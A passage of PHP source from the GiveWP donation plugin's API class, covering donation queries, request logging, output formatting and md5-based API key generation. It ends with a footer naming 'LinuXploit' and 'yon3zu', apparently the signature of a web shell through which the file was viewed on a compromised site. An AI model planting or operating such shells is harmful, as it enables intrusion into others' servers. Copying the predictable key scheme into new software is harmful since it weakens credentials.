			 * @params date enddate | required when date = range and format to be YYYYMMDD (i.e. 20170524)
			 */
			switch ( $wp_query->query_vars['date'] ) {

				case 'today':
					// Set and Format Start and End Date to be date of today.
					$start_date = $end_date = date( 'Y/m/d', $current_time );

					break;

				case 'yesterday':
					// Set and Format Start and End Date to be date of yesterday.
					$start_date = $end_date = date( 'Y/m', $current_time ) . '/' . ( date( 'd', $current_time ) - 1 );

					break;

				case 'range':
					// Format Start Date and End Date for filtering payment based on date range.
					$start_date = $dates['year'] . '/' . $dates['m_start'] . '/' . $dates['day_start'];
					$end_date   = $dates['year_end'] . '/' . $dates['m_end'] . '/' . $dates['day_end'];

					break;

			}

			$args = array(
				'fields'     => 'ids',
				'start_date' => $start_date,
				'end_date'   => $end_date,
				'number'     => $this->per_page(),
				'page'       => $this->get_paged(),
			);

			$query = give_get_payments( $args );
		} else {
			$args  = array(
				'fields' => 'ids',
				'number' => $this->per_page(),
				'page'   => $this->get_paged(),
			);
			$query = give_get_payments( $args );
		}// End if().

		if ( $query ) {
			$i = 0;
			foreach ( $query as $payment ) {

				if ( is_numeric( $payment ) ) {
					$payment = new Give_Payment( $payment );
				}

				$payment_meta = $payment->get_meta();
				$user_info    = $payment->user_info;

				$first_name = isset( $user_info['first_name'] ) ? $user_info['first_name'] : '';
				$last_name  = isset( $user_info['last_name'] ) ? $user_info['last_name'] : '';

				$donations['donations'][ $i ]['ID']             = $payment->ID;
				$donations['donations'][ $i ]['number']         = $payment->number;
				$donations['donations'][ $i ]['transaction_id'] = $payment->transaction_id;
				$donations['donations'][ $i ]['key']            = $payment->key;
				$donations['donations'][ $i ]['total']          = give_format_decimal(
					array(
						'donation_id' => $payment->ID,
						'dp'          => true,
					)
				);
				$donations['donations'][ $i ]['status']         = give_get_payment_status( $payment, true );
				$donations['donations'][ $i ]['gateway']        = $payment->gateway;
				$donations['donations'][ $i ]['name']           = trim( "{$first_name} {$last_name}" );
				$donations['donations'][ $i ]['fname']          = $first_name;
				$donations['donations'][ $i ]['lname']          = $last_name;
				$donations['donations'][ $i ]['email']          = $payment->email;
				$donations['donations'][ $i ]['date']           = $payment->date;
				$donations['donations'][ $i ]['payment_meta']   = array();

				$form_id  = isset( $payment_meta['form_id'] ) ? $payment_meta['form_id'] : $payment_meta;
				$price    = isset( $payment_meta['form_id'] ) ? give_get_form_price( $payment_meta['form_id'] ) : false;
				$price_id = isset( $payment_meta['price_id'] ) ? $payment_meta['price_id'] : null;

				$donations['donations'][ $i ]['form']['id']    = $form_id;
				$donations['donations'][ $i ]['form']['name']  = get_the_title( $payment_meta['form_id'] );
				$donations['donations'][ $i ]['form']['price'] = give_format_decimal(
					array(
						'amount'   => $price,
						'currency' => give_get_option( 'currency' ),
						'dp'       => true,
					)
				);

				if ( give_has_variable_prices( $form_id ) ) {
					if ( isset( $payment_meta['price_id'] ) ) {
						$price_name = give_get_price_option_name( $form_id, $payment_meta['price_id'], $payment->ID );
						$donations['donations'][ $i ]['form']['price_name'] = $price_name;
						$donations['donations'][ $i ]['form']['price_id']   = $price_id;
						$donations['donations'][ $i ]['form']['price']      = give_format_decimal(
							array(
								'amount'   => give_get_price_option_amount( $form_id, $price_id ),
								'currency' => give_get_option( 'currency' ),
								'dp'       => true,
							)
						);
					}
				}

				if ( ! empty( $payment_meta ) ) {
					// Add custom meta to API
					foreach ( $payment_meta as $meta_key => $meta_value ) {

						$exceptions = array(
							'_give_payment_form_title',
							'form_title',
							'_give_payment_form_id',
							'form_id',
							'_give_payment_price_id',
							'price_id',
							'user_info',
							'_give_payment_purchase_key',
							'key',
							'email',
							'date',
							'currency',
							'_give_payment_total',
							'_give_payment_date',
						);

						// Don't clutter up results with dupes
						if ( ! is_string( $meta_value ) || in_array( $meta_key, $exceptions ) ) {
							continue;
						}

						// Meta key can contain price value like _give_fee_amount, so convert them to standard format.
						if ( give_is_amount_sanitized( $meta_value ) ) {
							$meta_value = give_format_decimal(
								array(
									'amount'   => $meta_value,
									'currency' => give_get_option( 'currency' ),
									'dp'       => true,
								)
							);
						}

						$donations['donations'][ $i ]['payment_meta'][ $meta_key ] = $meta_value;

					}
				}

				$i ++;
			}// End foreach().
		}// End if().

		return apply_filters( 'give_api_donations_endpoint', $donations );
	}

	/**
	 * Retrieve the output format.
	 *
	 * Determines whether results should be displayed in XML or JSON.
	 *
	 * @since  1.1
	 * @access public
	 *
	 * @return mixed
	 */
	public function get_output_format() {
		global $wp_query;

		$format = isset( $wp_query->query_vars['format'] ) ? $wp_query->query_vars['format'] : 'json';

		return apply_filters( 'give_api_output_format', $format );
	}


	/**
	 * Log each API request, if enabled.
	 *
	 * @access private
	 * @since  1.1
	 *
	 * @global WP_Query     $wp_query
	 *
	 * @param array $data
	 *
	 * @return void
	 */
	private function log_request( $data = array() ) {
		if ( ! $this->log_requests ) {
			return;
		}

		/**
		 * @var WP_Query $wp_query
		 */
		global $wp_query;

		$query = array(
			'give-api'    => $wp_query->query_vars['give-api'],
			'key'         => isset( $wp_query->query_vars['key'] ) ? $wp_query->query_vars['key'] : null,
			'token'       => isset( $wp_query->query_vars['token'] ) ? $wp_query->query_vars['token'] : null,
			'query'       => isset( $wp_query->query_vars['query'] ) ? $wp_query->query_vars['query'] : null,
			'type'        => isset( $wp_query->query_vars['type'] ) ? $wp_query->query_vars['type'] : null,
			'form'        => isset( $wp_query->query_vars['form'] ) ? $wp_query->query_vars['form'] : null,
			'donor'       => isset( $wp_query->query_vars['donor'] ) ? $wp_query->query_vars['donor'] : null,
			'date'        => isset( $wp_query->query_vars['date'] ) ? $wp_query->query_vars['date'] : null,
			'startdate'   => isset( $wp_query->query_vars['startdate'] ) ? $wp_query->query_vars['startdate'] : null,
			'enddate'     => isset( $wp_query->query_vars['enddate'] ) ? $wp_query->query_vars['enddate'] : null,
			'id'          => isset( $wp_query->query_vars['id'] ) ? $wp_query->query_vars['id'] : null,
			'purchasekey' => isset( $wp_query->query_vars['purchasekey'] ) ? $wp_query->query_vars['purchasekey'] : null,
			'email'       => isset( $wp_query->query_vars['email'] ) ? $wp_query->query_vars['email'] : null,
		);

		$log_data = array(
			'log_type'     => 'api_request',
			'post_excerpt' => http_build_query( $query ),
			'post_content' => ! empty( $data['error'] ) ? $data['error'] : '',
		);

		$log_meta = array(
			'api_query'  => http_build_query( $query ),
			'request_ip' => give_get_ip(),
			'user'       => $this->user_id,
			'key'        => isset( $wp_query->query_vars['key'] ) ? $wp_query->query_vars['key'] : null,
			'token'      => isset( $wp_query->query_vars['token'] ) ? $wp_query->query_vars['token'] : null,
			'time'       => $data['request_speed'],
			'version'    => $this->get_queried_version(),
		);

		Give()->logs->insert_log( $log_data, $log_meta );
	}


	/**
	 * Retrieve the output data.
	 *
	 * @access public
	 * @since  1.1
	 * @return array
	 */
	public function get_output() {
		return $this->data;
	}

	/**
	 * Output Query in either JSON/XML.
	 * The query data is outputted as JSON by default.
	 *
	 * @since 1.1
	 * @global WP_Query $wp_query
	 *
	 * @param int $status_code
	 */
	public function output( $status_code = 200 ) {

		$format = $this->get_output_format();

		status_header( $status_code );

		/**
		 * Fires before outputting the API.
		 *
		 * @since 1.1
		 *
		 * @param array    $data   Response data to return.
		 * @param Give_API $this   The Give_API object.
		 * @param string   $format Output format, XML or JSON. Default is JSON.
		 */
		do_action( 'give_api_output_before', $this->data, $this, $format );

		switch ( $format ) :

			case 'xml':
				require_once GIVE_PLUGIN_DIR . 'includes/libraries/array2xml.php';
				$xml = Array2XML::createXML( 'give', $this->data );
				echo $xml->saveXML();

				break;

			case 'json':
				header( 'Content-Type: application/json' );
				if ( ! empty( $this->pretty_print ) ) {
					echo json_encode( $this->data, $this->pretty_print );
				} else {
					echo json_encode( $this->data );
				}

				break;

			default:
				/**
				 * Fires by the API while outputting other formats.
				 *
				 * @since 1.1
				 *
				 * @param array    $data Response data to return.
				 * @param Give_API $this The Give_API object.
				 */
				do_action( "give_api_output_{$format}", $this->data, $this );

				break;

		endswitch;

		/**
		 * Fires after outputting the API.
		 *
		 * @since 1.1
		 *
		 * @param array    $data   Response data to return.
		 * @param Give_API $this   The Give_API object.
		 * @param string   $format Output format, XML or JSON. Default is JSON.
		 */
		do_action( 'give_api_output_after', $this->data, $this, $format );

		give_die();
	}

	/**
	 * Modify User Profile
	 *
	 * Modifies the output of profile.php to add key generation/revocation.
	 *
	 * @access public
	 * @since  1.1
	 *
	 * @param object $user Current user info
	 *
	 * @return void
	 */
	function user_key_field( $user ) {

		if ( ( give_get_option( 'api_allow_user_keys', false ) || current_user_can( 'manage_give_settings' ) ) && current_user_can( 'edit_user', $user->ID ) ) {

			$user = get_userdata( $user->ID );
			?>
			<table class="form-table">
				<tbody>
				<tr>
					<th>
						<?php _e( 'GiveWP API Keys', 'give' ); ?>
					</th>
					<td>
						<?php
						$public_key = $this->get_user_public_key( $user->ID );
						$secret_key = $this->get_user_secret_key( $user->ID );
						?>
						<?php if ( empty( $user->give_user_public_key ) ) { ?>
							<input name="give_set_api_key" type="checkbox" id="give_set_api_key" />
							<span class="description"><label for="give_set_api_key"><?php _e( 'Generate API Key', 'give' ); ?></label></span>
						<?php } else { ?>
							<strong style="display:inline-block; width: 125px;"><?php _e( 'Public key:', 'give' ); ?>
								&nbsp;</strong>
							<input type="text" disabled="disabled" class="regular-text" id="publickey" value="<?php echo esc_attr( $public_key ); ?>" />
							<br />
							<strong style="display:inline-block; width: 125px;"><?php _e( 'Secret key:', 'give' ); ?>
								&nbsp;</strong>
							<input type="text" disabled="disabled" class="regular-text" id="privatekey" value="<?php echo esc_attr( $secret_key ); ?>" />
							<br />
							<strong style="display:inline-block; width: 125px;"><?php _e( 'Token:', 'give' ); ?>
								&nbsp;</strong>
							<input type="text" disabled="disabled" class="regular-text" id="token" value="<?php echo esc_attr( $this->get_token( $user->ID ) ); ?>" />
							<br />
							<input name="give_revoke_api_key" type="checkbox" id="give_revoke_api_key" />
							<span class="description"><label for="give_revoke_api_key"><?php _e( 'Revoke API Keys', 'give' ); ?></label></span>
						<?php } ?>
					</td>
				</tr>
				</tbody>
			</table>
			<?php
		}// End if().
	}

	/**
	 * Process an API key generation/revocation
	 *
	 * @access public
	 * @since  1.1
	 *
	 * @param array $args
	 *
	 * @return void
	 */
	public function process_api_key( $args ) {

		if ( ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'give-api-nonce' ) ) {
			wp_die(
				__( 'We\'re unable to recognize your session. Please refresh the screen to try again; otherwise contact your website administrator for assistance.', 'give' ),
				__( 'Error', 'give' ),
				array(
					'response' => 403,
				)
			);
		}

		if ( empty( $args['user_id'] ) ) {
			wp_die(
				__( 'User ID Required.', 'give' ),
				__( 'Error', 'give' ),
				array(
					'response' => 401,
				)
			);
		}

		if ( is_numeric( $args['user_id'] ) ) {
			$user_id = isset( $args['user_id'] ) ? absint( $args['user_id'] ) : get_current_user_id();
		} else {
			$userdata = get_user_by( 'login', $args['user_id'] );
			$user_id  = $userdata->ID;
		}
		$process = isset( $args['give_api_process'] ) ? strtolower( $args['give_api_process'] ) : false;

		if ( $user_id == get_current_user_id() && ! give_get_option( 'allow_user_api_keys' ) && ! current_user_can( 'manage_give_settings' ) ) {
			wp_die(
				sprintf( /* translators: %s: process */
					__( 'You do not have permission to %s API keys for this user.', 'give' ),
					$process
				),
				__( 'Error', 'give' ),
				array(
					'response' => 403,
				)
			);
		} elseif ( ! current_user_can( 'manage_give_settings' ) ) {
			wp_die(
				sprintf( /* translators: %s: process */
					__( 'You do not have permission to %s API keys for this user.', 'give' ),
					$process
				),
				__( 'Error', 'give' ),
				array(
					'response' => 403,
				)
			);
		}

		switch ( $process ) {
			case 'generate':
				if ( $this->generate_api_key( $user_id ) ) {
					Give_Cache::delete( Give_Cache::get_key( 'give_total_api_keys' ) );
					wp_redirect( esc_url_raw( add_query_arg( 'give-messages[]', 'api-key-generated', 'edit.php?post_type=give_forms&page=give-tools&tab=api' ) ) );
					exit();
				} else {
					wp_redirect( esc_url_raw( add_query_arg( 'give-messages[]', 'api-key-failed', 'edit.php?post_type=give_forms&page=give-tools&tab=api' ) ) );
					exit();
				}
				break;
			case 'regenerate':
				$this->generate_api_key( $user_id, true );
				Give_Cache::delete( Give_Cache::get_key( 'give_total_api_keys' ) );
				wp_redirect( esc_url_raw( add_query_arg( 'give-messages[]', 'api-key-regenerated', 'edit.php?post_type=give_forms&page=give-tools&tab=api' ) ) );
				exit();
				break;
			case 'revoke':
				$this->revoke_api_key( $user_id );
				Give_Cache::delete( Give_Cache::get_key( 'give_total_api_keys' ) );
				wp_redirect( esc_url_raw( add_query_arg( 'give-messages[]', 'api-key-revoked', 'edit.php?post_type=give_forms&page=give-tools&tab=api' ) ) );
				exit();
				break;
			default;
				break;
		}
	}

	/**
	 * Generate new API keys for a user
	 *
	 * @param int     $user_id    User ID the key is being generated for.
	 * @param boolean $regenerate Regenerate the key for the user.
	 *
	 * @access public
	 * @since  1.1
	 *
	 * @return boolean True if (re)generated successfully, false otherwise.
	 */
	public function generate_api_key( $user_id = 0, $regenerate = false ) {

		// Bail out, if user doesn't exists.
		if ( empty( $user_id ) ) {
			return false;
		}

		$user = get_userdata( $user_id );

		// Bail Out, if user object doesn't exists.
		if ( ! $user ) {
			return false;
		}

		$new_public_key = '';
		$new_secret_key = '';

		if ( ! empty( $_POST['from'] ) && 'profile' === $_POST['from'] ) {
			// For User Profile Page.
			if ( ! empty( $_POST['give_set_api_key'] ) ) {
				// Generate API Key from User Profile page.
				$new_public_key = $this->generate_public_key( $user->user_email );
				$new_secret_key = $this->generate_private_key( $user->ID );
			} elseif ( ! empty( $_POST['give_revoke_api_key'] ) ) {
				// Revoke API Key from User Profile page.
				$this->revoke_api_key( $user->ID );
			} else {
				return false;
			}
		} else {
			// For Tools > API page.
			$public_key = $this->get_user_public_key( $user_id );

			if ( empty( $public_key ) && ! $regenerate ) {
				// Generating API for first time.
				$new_public_key = $this->generate_public_key( $user->user_email );
				$new_secret_key = $this->generate_private_key( $user->ID );
			} elseif ( $public_key && $regenerate ) {
				// API Key already exists and Regenerating API Key.
				$this->revoke_api_key( $user->ID );
				$new_public_key = $this->generate_public_key( $user->user_email );
				$new_secret_key = $this->generate_private_key( $user->ID );
			} elseif ( ! empty( $public_key ) && ! $regenerate ) {
				// Doing nothing, when API Key exists but still try to generate again instead of regenerating.
				return false;
			} else {
				// Revoke API Key.
				$this->revoke_api_key( $user->ID );
			}
		}

		update_user_meta( $user_id, $new_public_key, 'give_user_public_key' );
		update_user_meta( $user_id, $new_secret_key, 'give_user_secret_key' );

		return true;
	}

	/**
	 * Revoke a users API keys
	 *
	 * @access public
	 * @since  1.1
	 *
	 * @param int $user_id User ID of user to revoke key for
	 *
	 * @return bool
	 */
	public function revoke_api_key( $user_id = 0 ) {

		if ( empty( $user_id ) ) {
			return false;
		}

		$user = get_userdata( $user_id );

		if ( ! $user ) {
			return false;
		}

		$public_key = $this->get_user_public_key( $user_id );
		$secret_key = $this->get_user_secret_key( $user_id );
		if ( ! empty( $public_key ) ) {
			Give_Cache::delete( Give_Cache::get_key( md5( 'give_api_user_' . $public_key ) ) );
			Give_Cache::delete( Give_Cache::get_key( md5( 'give_api_user_public_key' . $user_id ) ) );
			Give_Cache::delete( Give_Cache::get_key( md5( 'give_api_user_secret_key' . $user_id ) ) );
			delete_user_meta( $user_id, $public_key );
			delete_user_meta( $user_id, $secret_key );
		} else {
			return false;
		}

		return true;
	}

	public function get_version() {
		return self::VERSION;
	}

	/**
	 * Generate the public key for a user
	 *
	 * @access private
	 * @since  1.1
	 *
	 * @param string $user_email
	 *
	 * @return string
	 */
	private function generate_public_key( $user_email = '' ) {
		$auth_key = defined( 'AUTH_KEY' ) ? AUTH_KEY : '';
		$public   = hash( 'md5', $user_email . $auth_key . date( 'U' ) );

		return $public;
	}

	/**
	 * Generate the secret key for a user
	 *
	 * @access private
	 * @since  1.1
	 *
	 * @param int $user_id
	 *
	 * @return string
	 */
	private function generate_private_key( $user_id = 0 ) {
		$auth_key = defined( 'AUTH_KEY' ) ? AUTH_KEY : '';
		$secret   = hash( 'md5', $user_id . $auth_key . date( 'U' ) );

		return $secret;
	}

	/**
	 * Retrieve the user's token
	 *
	 * @access private
	 * @since  1.1
	 *
	 * @param int $user_id
	 *
	 * @return string
	 */
	public function get_token( $user_id = 0 ) {
		return hash( 'md5', $this->get_user_secret_key( $user_id ) . $this->get_user_public_key( $user_id ) );
	}

	/**
	 * Generate the default donation stats returned by the 'stats' endpoint
	 *
	 * @access private
	 * @since  1.1
	 * @return array default sales statistics
	 */
	private function get_default_sales_stats() {

		// Default sales return
		$donations                               = array();
		$donations['donations']['today']         = $this->stats->get_sales( 0, 'today' );
		$donations['donations']['current_month'] = $this->stats->get_sales( 0, 'this_month' );
		$donations['donations']['last_month']    = $this->stats->get_sales( 0, 'last_month' );
		$donations['donations']['totals']        = give_get_total_donations();

		return $donations;
	}

	/**
	 * Generate the default earnings stats returned by the 'stats' endpoint
	 *
	 * @access private
	 * @return array default earnings statistics
	 * @since  1.1
	 */
	private function get_default_earnings_stats() {
		$currency = give_get_option( 'currency' );

		// Default earnings return
		$earnings                              = array();
		$earnings['earnings']['today']         = give_format_decimal(
			array(
				'amount'   => $this->stats->get_earnings( 0, 'today' ),
				'currency' => $currency,
			)
		);
		$earnings['earnings']['current_month'] = give_format_decimal(
			array(
				'amount'   => $this->stats->get_earnings( 0, 'this_month' ),
				'currency' => $currency,
			)
		);
		$earnings['earnings']['last_month']    = give_format_decimal(
			array(
				'amount'   => $this->stats->get_earnings( 0, 'last_month' ),
				'currency' => $currency,
			)
		);
		$earnings['earnings']['totals']        = give_format_decimal(
			array(
				'amount'   => give_get_total_earnings(),
				'currency' => $currency,
			)
		);

		return $earnings;
	}

	/**
	 * API Key Backwards Compatibility
	 *
	 * A Backwards Compatibility call for the change of meta_key/value for users API Keys.
	 *
	 * @since  1.3.6
	 *
	 * @param  string $check     Whether to check the cache or not
	 * @param  int    $object_id The User ID being passed
	 * @param  string $meta_key  The user meta key
	 * @param  bool   $single    If it should return a single value or array
	 *
	 * @return string            The API key/secret for the user supplied
	 */
	public function api_key_backwards_compat( $check, $object_id, $meta_key, $single ) {

		if ( $meta_key !== 'give_user_public_key' && $meta_key !== 'give_user_secret_key' ) {
			return $check;
		}

		$return = $check;

		switch ( $meta_key ) {
			case 'give_user_public_key':
				$return = Give()->api->get_user_public_key( $object_id );
				break;
			case 'give_user_secret_key':
				$return = Give()->api->get_user_secret_key( $object_id );
				break;
		}

		if ( ! $single ) {
			$return = array( $return );
		}

		return $return;

	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit